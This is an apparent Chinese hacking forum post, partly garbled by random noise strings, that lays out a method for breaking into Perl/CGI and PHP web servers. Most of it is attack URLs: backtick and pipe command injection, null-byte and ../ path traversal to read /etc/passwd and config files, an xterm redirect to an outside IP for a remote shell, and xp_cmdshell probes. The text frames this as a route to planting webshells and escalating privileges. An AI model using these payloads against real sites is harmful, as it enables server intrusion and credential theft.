总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
2 F, D& [4 p" `! i- ecookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 9 w& P: H; A+ m' ?) Z1 y
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 9 |# m* m: i/ A0 ?
注“
3 J/ r; y( G' y4 `' \* Rperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 4 J v: Y2 B, A5 r, W! R* R
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
* G7 ?' R6 }, e. i% E2 {0 H) c; _! F" g' m% V; k! a) T
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 6 \: x. i2 O% f3 n- V4 y! n
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
; e8 B* E$ r! k- phttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
( s. ?1 b7 n" W% K0 j. ~% uhttp://target.com/cgi-bin/home/news/sub.pl?`id` ; a- K' i0 p' P) Q
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
* J0 Y( ^! e/ G- T1 ~http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 0 E. {% ^/ u% S
, ^4 w4 Q9 a. q* P7 C" x# ahttp://target.com/test.pl;ls| + G* p: Q. ?7 m8 a# s$ Z5 _
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
" J/ t o( _% f* jhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| . J" E! l- G" ^, d. ~. m, D
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 . |& l* R% }, r6 O( L1 h* `) Z
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
6 {& Y, Q# \% r9 Q& g+ Nhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 9 N9 }) R! a# ^! s# G5 s
; C4 B/ B$ A4 W$ h1 {http://target.com/test.pl?&........ /../../etc/passwd
9 E7 a' S8 t5 m" \7 B0 i3 L! [
+ C$ I! y2 y. B# K( G/ a4 |; hhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
! F8 G, D- `# a# o0 n* whttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 ! F' \5 \; K6 @+ f/ j
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
u0 h7 s+ \; l3 m5 j. ^, K* ?1 U# p+ ?2 \% P& z' N
http://www.target.org/show.php?f ... /include/config.php 查看php代码
" v2 N m$ _% ~7 hhttp://www.target.org/show.php?f ... ng/admin/global.php
) p* q0 }6 h. n' Y1 }' H# o. J1 \6 S! s" k# E; e
emm和ps的一句话9 M' i" Z' U% S
$ P s& Q" S6 vhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
; c* f! v8 {/ z" t6 |$ i4 k& H* n4 L5 @5 u+ s
>bbb%20| , {3 s9 w* v& {8 c) c& \6 G7 ~/ {
$ [" L$ _; _. \0 D7 g
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 # K* m4 q% d1 w4 h+ N
- \+ l) r: w( Z! S4 r/ K
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 3 b8 q4 U9 N; ]
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
( o2 l7 b1 b" Q9 g4 {7 J
2 z% p1 I4 s/ V2 @, U' b) Z" l相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
4 U4 m% `; J. ]http://target.com/index.html#cmd.exe
, c& F% m- B" C; {0 G6 ehttp://target.com/index.html?dummyparam=xp_cmdshell
9 h3 S9 x! R# R& @# {, @* blynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd ( s1 `! W0 ]3 e. S+ E
|